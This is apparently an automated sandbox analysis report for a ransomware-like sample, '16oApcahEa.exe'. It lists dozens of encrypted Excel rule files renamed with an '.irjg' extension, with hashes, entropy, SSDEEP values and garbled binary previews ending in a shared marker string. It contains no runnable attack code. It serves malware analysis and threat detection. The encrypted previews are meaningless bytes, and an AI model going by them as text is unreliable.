Preview:	<?xml..tG.M.UY..L^.....&._.{..a...b...Z...$......i..h....^pg...O....o.>.}..G..hp.6b{..Y.Q...P.?.......].{.........8.S...\...3...S.w,...m.).us..:..Kv.ZM...&m-.F.#h..b.c...........t....{3i$W...s.c....#.....>.q.k.o9..M};.3..O..^.0p.#..LE...4x1..B..R..S..}..t^y._.../.....!:ME]F....hf=...^.....0.....{..&.o$...cP..#D...?....3.pd..aA.....5?v".J.kx.....G.....V........rE...2..&..\|..f..U.`6..(.U...}....h.z-:...........rD.=+....o{l.....$B.7... ....T.d0.`.`...oT..$'...A._.:0..Gs.p..3.O....../..N...t......xSO.`9_f$.5..y....`.jC.....u].........l].w.X<X.....a.....J.9 z..je...@%....t.8....\|S.Y......r....mFf......)..H.T....a..i.D..3.vX]..4.w.F.+...OF>..k..;.....e..1..)m....Ko..I..P..[....$..-X..c.....}.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.688009380496215
Encrypted:	false
SSDEEP:	12:wLL8yOsbYjMM+nVxa9jj9SBJsh9VlasSZX5RqPfSvCgUeKcYJ/jKZJ39M2cii9a:SdtnC9jSO9HSZpAfE7E3u9pbD
MD5:	98361473D4F42A9915D45077DBBC09D9
SHA1:	9CA04DD57500A86AE3C1A43E93EE9671D6374053
SHA-256:	5381AB6EE0DD2CC2A883CC3D2A97C0B56798119715CFB1C2B13549D13BC210BE
SHA-512:	72DE1B5810686B014483DA507A71E70745F6D5D09487E073E8F6E0F9723E85454E75EF83AB19C711DCAB23015C3F8259191FDC4816CC73DB5C52652870C99474
Malicious:	false
Preview:	<?xmlpfs9.e.j..U......&.B...8Nr..,5s......:.2`e5.NPK....jn=..s.&.HXGq.t..[..O.\|.<...)....N...^g..P...E.v..z/....E.HT..".H3.Oo...(.\.V.....A/......S[TZ.. ..F.p.....M..F..BN.....4.6....{`.....0N..I.$R..el.. .<.F.-2.!eff=.....w..I.A....=..8$.3..N..?....q}..1{.1..oa..f...X...6...DJ.vH...fS(...._....z7r...F~&..5F..,. *{mag!v..#.d.....2......!..n_D.=.JN..+...:.BBS.x'N..+3]/..u....H..P.r/b.F..dn..m.f...A.fO.$b. ).K.z.Z..........h$5...P..2..%..U.C>N..O...!@.C..m.L..q.t....UM..[aC.\t<.B..X:R7...l>._.!...v.V.+.[8...je6.....w.p...:Bt..v.%...".>.6N...2.#..z.d-.....$..BK...........].....^....+\|.f...~{m:.....Q..:.......s.\`.0#..d$....&....s),..F.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.761210530641648
Encrypted:	false
SSDEEP:	24:75O6fEhHd55i7Ow43lq60DeP2bWf99pbD:7xk955iB43E6IeuKJD
MD5:	CA658016E3F078A35D6C3038FD5CC22D
SHA1:	246960EF1D75D1E93FE55CDE8327B24551FF5B42
SHA-256:	E6438093932FAE0349289502CA18E241A14340597C906DE950B01EF86FB0EE62
SHA-512:	1C952E6B9BED1F6A7580EDDFD0C5384EF7DA666777236297EEB136F8D1E02B51012212DB151E09AB53B5CE9B67E7A7BB2A51D7AC34E4A3D34101B7BB2715AB3E
Malicious:	false
Preview:	<?xml.....F.".$...$.td.....U........K.w.;..^.'c..8...1+.d..\........(PmB...Hv9...g...(A....G>..c..&....[A&..b-.......>..]\|.o.t..5....<.k.I5-g....J.W.N....@."..)..+...s....:..s.....".m........F.c.....'.<.P....0D....1.+... T...}.LZA.Q%.)z%..D..'...u..un.9....=DB......W..l.c.(.M~......Xr.a.Q..{..T..a.LqI..yg>........ns7J.f.^.u...^.p.zi.p<.E...E....}:....!.h\.".bz..r.S.yw.....-.R :`.......B...c........J..p{4..j<....m.#.d.....-...9..N......Y....X..'.Y....o.;WT.&N...=JcCb..#.8N;[C.L...........N......m.fVK.(_]...p..h...K).F.o.)y...GT..A...d..SkS.Q..Z.]..WVQ...e...A.+.Rp...a[....R..r....Bn...E...RDz=!.....a,.s..>..}$(^.?....da.Xp......s...-.....b;..m.S.\9............[.7q: ..9....6.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.6840618364917725
Encrypted:	false
SSDEEP:	12:CDiRpiPDWkaVrkEBbYxqU0do61VdTNnQFiXePZeRemHxew7x/lEKEooV9M2cii9a:KUIbn4kEBbYdIbnQeNxewI9V9pbD
MD5:	0480949DCC004701BE625C6D3EEA6899
SHA1:	B3873EC21B6BBDAAD53498E8C6E7A45F9125F3B0
SHA-256:	EB627189D5F9351CAD8311544D651455E3EFB00EB38558174C2C1C6DAE82A056
SHA-512:	0395C1B51E714A2D6E8EEF6C299B59D91591D9299B4B2A1B9152C5879F49877A6174D6AD0F877909E05C7CDD2855D405234E4C2BA63ED76E93A506907A36C815
Malicious:	false
Preview:	<?xml?^....<.J....8M.UN...8.........eNv.HF...h...$r.E?..P.7c.lu..P8UD.I..2.QL^....i.wRF..V.!H...e..4B.g.....}..t2.........b.[....!..~.#..-.4ngP.6.....fn`?..r.....E.........&T:]FR.bP..=}..'..i-..;.....:V.....W....@.#...kSQ<..}\| ..&.n.<vA">...Y.,..r.".(.I..G....6Q<.&........{..1....h..[.L....{p.k....m.~....?.OTG..k(......=...`..<.s%!..gp.......N..H~.:......t..4...NZ..Z;dS9v."...c.f........D8....6....]hb.[....;......^....._..<......~.}...w\|(<.^.}.......L.b.5.vW..i......!!w1....'H.e.F...2..4..v.....7....g.P..C...Mv ...W.....P.\Z....H ...".......tX.....H{+o...7...d. ..WJ1gh..&_<+gMy.....j=xb...'.lv.FIb..\.m;..'...}!...N.7.#.].#xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.711821592324535
Encrypted:	false
SSDEEP:	24:e7gbdT6W264dFyoN0wkylJirC5C7eALii39pbD:e7gbdT6p64PPJIxefQJD
MD5:	D59DF9DEDC657E50BDBC9CF52B902333
SHA1:	F214C4236F54A684C3C1FA0140389335C51A72E2
SHA-256:	D04088FDD71E485CC59D6E455DAB759615E25AD9722A5BCDFACA925155BF66FD
SHA-512:	F1E8844AA42C7B844A898A3D3455E17919573A4D6BE9DF866E7887D256E4F73AB1B91EA55868574336F3D6F04D3A72B930D0378387922C70F18F363F9E5518CD
Malicious:	false
Preview:	<?xml..S~.r..U...\|[...#..l.....[.S9}....ybSz....0...b..2o.K:._.q]]b.....0x.4......T< ..%.......{f.U.FF...>}........r...R..J.z.U......J..5_J..0.r...V..U..)_n....&...X_....+Y.....ks.&10.........t._.).....:......'..'............Q8E..%z...u.........;.N..F.w@.U`.........D.pW.=.#3B!.E@........hK{.P..-.p...a.O...8..vy...M.....[.3.\.n.o!.]9;..D.\|.#..xtqR...Q.7x.H>.p!\|..1.nG.\|...../1...i,...BZ.u..;.d.1I..~]..0...2...R......t......@{.U.A.K.>e.8.[f=....."a.H...l%dJv......-&O..e..K..x..~..!...Q.t..e.7.\p.6.^.....b.._..'.}.,....<...1.g.6.-#.UL-h.....m.....wU....>;......G].PY.4&...b...?l2IF...G:.b.u..:...Z..<......{.Q.........2'../Y.b..+.>rh...'.M~........V..]e..O.W.O@DB..N..O?.x2.....u.sc.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.721356323444596
Encrypted:	false
SSDEEP:	12:foYXAiKv72vX6iyrtTczg3bK2vUSuAXtbAPXpMKT80qvLLShhoRLsPwi0H3IZVuV:QYw52v6iyZokrASuAXY6fnjWk4Ch9pbD
MD5:	63A4AC47C15DE97F0D05A724602ED762
SHA1:	347F211875F4F1960345ABF9BC4F81ADB1A5185C
SHA-256:	AFFB950757D30021C8DE9616CC852962B03FEB80982D0DAC3620B90FA8ACDCDD
SHA-512:	807C9A8E773C7AE06C27670A03F91E9CF7A804A0EDC152438AD4B8AF091A25C5C9B094E77D99D9C98118A94EE86794A9B4AA9E4D0E79C454E3B8A4F005694845
Malicious:	false
Preview:	<?xml..L\n...L.a.c.Y}+.mj.4+.A....NoH.O$p{..p.`..G..-M..,.}v....U(......p-.#.lF.a.P.e6i#..y._.....HuE.Nf..u.{...tR._[j.;.&Q!..F...;......9..PA+u................2...$h_O..3a(.7..e...C\.=P."..U.#...ne.^.u;.d.e...?/..j........Z....'&kyP..=.Qj......x.f..P..c9..:........(..;..U.W.......=.....;.$?....\|,.&...v...e~..KZ@.f1....e.e...{.\...xD9>....s.f....-...K.(...M.8........UBO.]t...X.5m.<...N...4:.<.......r...@1........s.I..Cu.\|.\|...[{....e.3.....5.%.5.B.q:lo....1 j...............2...A.x....C.]..gL@!....r.}ho%e`/.5.\|.Q....../../...H.f<.#.5....N8X]...0g.i.k..qK..:h%v...#.j.f.J..n..<...;..T...Z\|..."E...d..T.`/....u.../..[:........i.....4+.3(+B..'y.[..EDv.\...%<..@.5.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.716302829861291
Encrypted:	false
SSDEEP:	12:1sFI6v7JgMsjR4+xZo2jUdtbyyKYTx1WgjwFp4H0p+SWFAoQpsG3eTc1OOOiyLct:H6D2Mr+MfeZixpAp2hFAM0OiYby9pbD
MD5:	D9A0B36CB8C989906636F003014AF0C7
SHA1:	125B2A110941390E3E2BA3104C369F84A193F67F
SHA-256:	2AE5F3D132CD8C34B00DBB4553B991B09C24ECC0F9668F2BB445992F34DDAB60
SHA-512:	482358C9645F32E024E7DC4C6F3E76F6777E21B1931F4010EC56F429DF59A13CD839681AE6352103FE08439B5AC5F7E5D94D7AE1263CA3193BB01C59E11B49A9
Malicious:	false
Preview:	<?xml......=.b.bd...?.Z.Q.\...G..P..%Z;g..9y;...^6M].}.u....h..l.......ME....b.z..<7..3li..}rX.....F@..b.....;*L..x..HY....K..3.....C.T..'5.m.'b...6+NB5m`.9.o..}o..fo.^NDo..8..L\|!gvX.....R;.....yQ..v.3.h.!+`ux.~.V.E..-..X...n.....r.I....E".U...,....e$=.....`N..........6.}..qM..?.....8.o......Wl.!z._.r8...j......[...".>pv.7H...w.p0.{.%.t....w.....U...e....zpQ.09pQ.m.y..1SLY.....y.....>.%..}...fD....l........%.<....o..7.s$..[..[.#.b.".P. 47.aX..I.Q.=.....Tx..V..j..T..}.$,.....]..HN......P....+!.v.S....e =.....G2...U.t,.~........./.575%.?...C.n...]..o....Z....9x..."H..{....?..0A..C.y,.}....?:l.b..H........`.r...T...2.Vxc....D...C..H[...n..Mm.`^.Ol...}.6.... ].......Jo.v\I%...8C..W.p......F.Yj....>..V.e.[..,e.>xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.714330586398366
Encrypted:	false
SSDEEP:	12:tnqywGdZ72WLH3NlFkvTTJ+NH93VreCoPAsmY0KXCW+pXwyYQEJ3CLz6eogs9M2X:tq5GdwWjFOTsZhQlmY0KXqpLYR8Weogk
MD5:	E890EE706889974D21C5A542E6063EFE
SHA1:	C3A95FBE166BC5605B0008F58CD9AB31E767DBB4
SHA-256:	60FB65179378DD8CEDB51EF1A1E701E2B7C6B4C310BAA7085472D23F17300DBE
SHA-512:	27C8DCFC964512C8FB51535132B52D0FA71D46F265BA62F7103E7BAF8121295591200F5ADFC21E7B6C78BD48EB5926C8827D35AD4E45B9BDD1FB8DEA1809C6B2
Malicious:	false
Preview:	<?xmlR.....5..T.).E.'.yMs.Lr.}.Uu.Z..R..a.C....'.&9...^.1.Q...-..W.........^..N.F.5...gRP.~.....+e;]..\|k........3.u.........N3E..u.......U.^[.'..h.4...x..2..1..:[....O...K..(....!.6..N+#S/(..#....Y.B..#.._5....r+.X..'.....H..[d.^..p.B....u.}.[m...U.....k.mQ.......<..N....z!..c.+e.s.K........$...UN..a:.]V......:x..=):)$9D$N...Y.1.C.}..4..s#.U....l.mjOK&..u.q.&..^....S...Z.`\...E....'..4h...Z....nO....YF.,&.>.<9..0....H...*......i._.PS....c.<.]<...k....K........._%[..>E...:@.........aG.....I..d....B.$`/{...%..Hi.-..g.u.:T;.(.....Sv...n...."...I.[.:....P.......I\.D.6N.:.c..a....8..;.6X. br...).I._H.....6.....v{O..c...p?xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.72762668495551
Encrypted:	false
SSDEEP:	12:jmlHXUSA9Msk/DGmoUdnf1BG2OHkhwNyji3JBGYB7eLPue104sWTnJJ5qB9M2ciD:Cl349zmJdnfrjOEqkjg3QJXqB9pbD
MD5:	1A354C24D62469AC7CF8B0FECA112884
SHA1:	3E39B359F4881A0E4A24897A01739A18F824C49F
SHA-256:	D597A2154C488724E8A057E02944B9841173859DF427388BE84C05A68F8DF691
SHA-512:	2EAC1E1F9890711BC7D26E789B31DC9226B6F5179B2CD5F0017D8E0D3233123FBA891ECC47F7EF6DB5116435DCEEF45E36137E1BB2FFDC66433AD0EC4E8F5333
Malicious:	false
Preview:	<?xml.qvhN....w..g.~C..~iY'.......M.9.%3.u.G.d.i......lZ1i..`...[.N..z.0.F.D^. ....G.^n..4fy1..;.I..3..'.w.0]b..b.B....d.'j.+..`"....s.E....Y...M.k.o..;.:....z8..R.)\G.:.y.e+..LT....D.^.....zb..M_.}..0...."B'.!(z..Ik.,P{%.%G...t.....dH.:..7......N%5...N.3.....jM(s...3..$.jJ8..v....-......}...P..O.o.B..O...(.qb...k..........vf.3...a................mv.....>.\|.7...B.~....E.......cT....".!..../.9.:.....6.q2...X..h.8.3...4K.b.y.........Skgj..5..]H1j..v.W.k......F~..i..j..]...qt...>.:.IK.^K........U.e......9..W.w......../..T....h.l.!.......E...[,v.4.Y.....;................o..^...L..AqW....z0...j.7.H..CR(....<....B..Q.(._.vVS.f.A8].Gu..G.(.b.)-..W..{...F.q...e...~.3.[&..-..@f.....6...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.699247472754807
Encrypted:	false
SSDEEP:	12:X1eIGuMagQGX8gjRB3Zkd/VXM1iULci2o7yE0C5tb9DmsEGdfK7g5s9M2cii9a:XbG/agQGX8goVc1/oibyEf5tb9iX9ssX
MD5:	8280460E3B911032441C1179D5872E1F
SHA1:	93EB32FAF536BF6814D8D41B7208705505080638
SHA-256:	A13EC98CB0F231E20D90747DBE2B3BC7C6846D439C73E4632409480180070498
SHA-512:	237F794B6E0826AC5666636601C0ED0CFCAC632A1B8201A5A61B09FC6F8BA427A53A056129A9C19EC6C0DA441D8AC17955B658082ABBF1998E11CD217632FC8F
Malicious:	false
Preview:	<?xml...8.fu...@.v;_8(h.).z6.H..8..E.v.......L.(X.3[.........L.-...nA.I.. u~vOHp.[SE'..5Pi]R".y..-.[.d.w...>RccE...._.m...}.mX.........{.....x.n"..C....5...."1.o.k....C....m..l.G.....6&.h....;....4.\.c);..i..v...O..........+..S3.~..o#.H.q.......1j.'sl0.KK.S:.[.n....zYi.c}....<./-.0C.....U.8BX..o)..=.1<.B.1U.I....X#........*.._.wZV......>d..u[.%~.....hZ........Gz.....w...$...,..j..\|v.>cE..G.T-..;.......3#.L..tQ`X.A....b...'..W......(..:.h.dku...+..L..6d......6..n..m.K,p..k...P......S....pH..p.6K.g$.........H.v."&......z=.0K.....T{B.x...R..\..v.m..f.y.t.g.z......f.nU#..$..!...~..6+...N.:K...6.}.3....z..q.......h.<X.k.v...twxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.725462139398175
Encrypted:	false
SSDEEP:	12:eUcsfIM/7l+uBiRJER1tiQAfftByrb4GJnmw3Q8PaT+KCaTP2QtQ6DJ1js99M2cq:RbMYRPihl0rUGJ8lCaTQMJ1g99pbD
MD5:	F360F2DEFB5AAE605976CD892DC9A62C
SHA1:	387B49FBC32D6003C1FE5C2A93224A3BE542CA84
SHA-256:	61463CC9D6BE00B54CFA364AE8983A5F6C5DB39913196F0E268A5D5D305BFD14
SHA-512:	46006349D65DAC97423089E5B7FCDC9487DD6443FF0B70ADAE2C13800873BA21BDAE21F3C26ECC5C63013A2D80B3372107BF2EE23BFB9DA5DCED6835515D4BD1
Malicious:	false
Preview:	<?xml..$~3...\|T.-....>.#...Pz.E...p..y=ZM..:......GG.PD.....o..$Kp..]...Oi$..e..eS.v..> ......ydy..,....%..\|..e..P.3.lp...../.#L^...[.....z...Af5}.>Kx...F...g}..P....1.K......6Z.{j..~.X#.3.4.4Ow....\|...P......2.....4..q..D..Sl..7"=$Yj...0....6.....J..../..T.u...C..&a.......\|...2....9..O.6.Rf......&.I\|...W...).kx...../......B...j.....".5...&s......\.i.t.y... ....S..X...k..e.#......B.>..9.M....v.pZ.vA._.P........Y..o.jo...j.....-...g....P].yO.:....E.8y.~O..q..`ln..pT:...u>q...R.J..h..............}..+n....:Q..m...-1k8\=.a..C,..=........:....ZM..>...}yU!. ....R....N.....Tg...k."q\...RuW..5q<.E.rx.$.M3sEan6...8.P..N..t.......%.}3_,Y?...g.m!....?...4..n..MD.....Z...U...D.T..*..=xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.721975143026768
Encrypted:	false
SSDEEP:	12:LNJkBG7a1TANS5wIq49YLqGf1sIxdSSm4ygEsKzVUB6r/8p3oZ4dT9CHZh9M2ciD:LI6ahn5nqKYLBflmHU7B6b8p39dx0n9h
MD5:	60F7862BB39FAD36152A9CE773331877
SHA1:	B1732DB765847330DACE90AB615DFB2914959053
SHA-256:	44F2589C6D37EFD12B96525E54753B48167130EA04CDBBB0EDB433B16676AA91
SHA-512:	E522B8614B82E1BE1E69240A79C2017A29930A8621A5310D468CBAB34A5C8A0AD5E03A7A1F94A3D880FE5A5D11202B9CE00CC9952A4E998CAA3427EABA3F68FA
Malicious:	false
Preview:	<?xml<Gz-..ty.y....a.FS.....QrzJn.KC.........{`m-...........vn.M\|-..`.........jU.\|...k.(E..B....~0=.&....A.f8...ex".&.%..I{g.k..g..m....!a'...j.V.II.....0MWo.W.*Z.t:............;....K......i.fr..p.UH..HD..%.....q...{.L."^.^K.....X... ........."...........p'(8....J^_...E.....ok...O..Q`...U.Y.S\|.9.Y...2.z..7.~...h.K."......b....~..X3..$._1.q.....C......".R`......l.A.@...j.#nA...X....@....+.f.}...j..'.?q.].\d(.n3....k....wv..2T....<~eWm`....w.+............Ad...;.....-.\|...6..#.'......BP.... . TpzV...c.N8.b.l..M'y......S.Z:...Cb..1...R.....K...pU..#..2......../T....e..Y..H.@.t.f1~?b.O ...8.o.tC]..$G..r...i.S...ZX..`i.../i....hxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.696777086060658
Encrypted:	false
SSDEEP:	24:u648blfXNBdvt9Uyq8v0zXFiW7+lG/O0CVFsm9pbD:s8blfXNrFSyq88z1iW7+l909YJD
MD5:	DFEDEF00BF5B99B923CA72571DD194F8
SHA1:	2D533BC8EFE2FDD37FF9F12221F786DD1E51B048
SHA-256:	9EFEDB1C9D27DF07C8B62EFBE813A25B364F1262D727EBC6E8F7D2AA1070CD38
SHA-512:	46E116EB922E1DB75F8E40777E119A9CC3E013C6266140B0871A6A5AF80F62429704813EB953142D2F7C16853720DC7310B1304ADFBEC5D90B9EB4FD7B938109
Malicious:	false
Preview:	<?xml..k?....n[._.c.3g/.h(..ZE.;Mb..-......Ki....7. p..s...Q.........uW.,Q....[../H..i......^...79!!N...M.b.........aa..Xw...~.;..S....n].....?_...)..Z.0. .....".m.ggV...nT..s.9..I..M.4..$G....}z,o.......>..%-C0X.M...Ph..c..]..[..1.......%..Q...,.si...}.2B+..E }C..BZ..@._....h%..R..9._. m.?.gm...Zo.........+....[.Ez.v......u....Vj.......(u.]M...;d..~p4./).9.........a3...n..O.K\?..X....7....9....w...I.."W..1.ZW........`Iy.#^...+..C......2.i.~c.-@b2Q...v...^Qy.D.s.".w+9].Z=.l....B..w.O.....q].E.^w.....@D#=&1..:.l.^.h.K..bT...ISE....)......C*B.p.......>CX!......w.p.C....,..d.Oh.C=.j`.-9.....=Sf..+.....\|xHs.d(d...P.X.s..q...0s.............f.U.8......\|....s!U.g..4d.....(.....3...>ml......y$.:...$..>....].nxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120631v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.685833475566916
Encrypted:	false
SSDEEP:	12:N1ScGM7vEuy6c6i3i5hhqyfuTVrmfguosnM5OGwykca9OcCIBufus6rWM9M2ciik:N1STAv0PymT5mbo95OGw8IBu2RrWM9pX
MD5:	0A70E66FA7BCF29C91A4738CD82E9075
SHA1:	C785A84005BC054DE7143D236660078EFD2549D1
SHA-256:	792BAB80E0F48ECDB44576F8FE36B93CC9D3D15D19868EF7488DC1584D775114
SHA-512:	834884EE62278C17D62696BF8A5BF08495EA14DC34AA023A82FB857C91A4081E6133355BA3154BB208ABFACF1C52429036E46C1E601F6AEF2FB6B4FD832BA0C0
Malicious:	false
Preview:	<?xmlx.......U.:......y.K....$....`.Zh.\|TC..R\\|l.h.`M......I ...z.<4.30.3....\|41`.;...~...;<y\|....S....H...n3.g...o...b......}....$...?.njK...lChMY\.Ep.kM....].M&..n..!........d....RT3z....fO...].B..\......g.......7..ej.m-.T...K.h.cX......E37..:...p..WD.t.8.V.Cy..B.w@..e..8...D.3...4.....`.2...G;'....ZA....#.F....e.v.58.......?8E}......U.}...p..%...w...5`..V..#6=g..z,....[....3ld..HT.Fr}'...O..]c..._..D.,..h.$......J.4.fn..*..q......o.M.9~...'.t..,..!....`.8.$..q;.#.-...z..y%mTR....6{]A?........?l....vS:;.z.;..p:B.~....>.R...MF0...&..[.%A.HO1..{+IE\|7..=w....%.+..b0.`q.....Q.wP.M...z.....5..h..lF.W..A.{....i.....nm..PPNxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120632v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.715186560127935
Encrypted:	false
SSDEEP:	24:lwifsa7xvLfUB6SZucuTEAYXKzeBnAj9pbD:hfs0sBBZje5YXKzwnYJD
MD5:	30D91DA0D818B1716A7625FE8D91DDEA
SHA1:	137396E639B9A9F63DFE971357AEF3AEC7CD5059
SHA-256:	4C2AE5980DE629C3D44BE3161C72572B7EB2D59FFE976C4DC87AA2915F31089B
SHA-512:	92221EB0082CFEB66DE6F8617F81A1ECD11F362D5897E1D3841CF9EEC830C8FF1C9C30F9E56C6E7758CA83FEC95A025B5E83D2C2AE412CEF6E052514CB146941
Malicious:	false
Preview:	<?xml....]g...+ .....-;.%pB.....u....d.....l......c.v.."....."....6.F.8..<..wL4(...........C.I.......W./.g......eh...O..i.<X..9..D2..(.d3.6...N3...Q.n.....y..V.xo.e....:..y...~.X....:^...'_..m.d...&.../.....m.$...X4..+Y.i.....~m..6p.h..cY.....P..6..nr...k..%.`.v...-.M.E.; H.^..v.....[Q.,H.......k......&.d4...RJK>1.O5C#\|.`.F!?....D$;.w.#.......{..QQ...I.@......3.<#..u.`.q.x~..fL.......W..0...u.dH\G... ...Y.ziQY..........%@H....T.}HB.[.V.AE..9.....D.g...A.>...E..Y,.f%.J).J..H.....Nl...[....D..j... ....G.f.,:-...1.Q..v-.Y............b+.....W8V.#4.......K+...S.ck{D.$[.o.;..q,].\.qE....4..o<...Zh...O_...;.....5.....Z"......#...{.i.j..V&.5p.7..wsXO...Otu..u..W.T.}}....NxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120633v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.688551191205782
Encrypted:	false
SSDEEP:	12:R6M4LbOiydJyp1Z1E2xbGlJCfbYBsckkGZvb5v8IH1UBOdNZ9M2cii9a:RUbczyjZNd8qb5h8IVUBOd/9pbD
MD5:	3C0190318CCB430AA14A496656CDFFFF
SHA1:	7A7023D9AEED6F5C7A243409949E8344214C7080
SHA-256:	9D3D8D8B2B2723064F70BC53A03C2FBA5E5BEF56C2DD639FBF667A5844CEFCAB
SHA-512:	6840D0452BCBABDCA246D9F97B1B1F8BC6BC778E5B30FBEF2BF570C419A59C8F8B456A7ECC2D7B3A6EEBFC621FE44E24A3040F9223905488550D2CFC87024579
Malicious:	false
Preview:	<?xml....[..K....k.Y7...G..?...N$.oRj.T.E.\..q...h....GyX.....!...;.}T...........T[.`...L....UhTw..3-do.J+Q...-.20...=K&../..w.5.BV....O.x.L....#-.1..-.3...{I..W..(.......t....k....H.?&.!H.....In....{K..`..Z..v...T......'..P.\.\|j.}D:b[z.\../...#...E.IJ.o'E.....p\........hC.-. .XZ.-.@..h.]q.$.FP...:.$.ya..}f...g.qa................k.RC3H9.^X..`.....b&i.N....Q...&..w+a.g.>..P..V#....nj..Z......,$......>U.W.IU..../.W....{.hB,n<an1v.J.../.K.....e...DO.........0...E.E.s3....J2M2..-..l.....Vd"^#.}...5:.`.L1._......#..$7 .tVeo5 ..CHL.R....V............\|.P....R...1./......D..6....}.)"+.-.Qq.I..t.y...,.p.'.......~q.Nr.R...W.i....YxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120634v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.73064652281983
Encrypted:	false
SSDEEP:	24:ZSMO+NykZXLZTrsJzsGynf4zdY+UQSy9pbD:ZG+NykZkJynQzdzJD
MD5:	FD5B1365D304171B76A346E7CFC66A31
SHA1:	EA2870F378448D67C86921C24A5F115041C11F0D
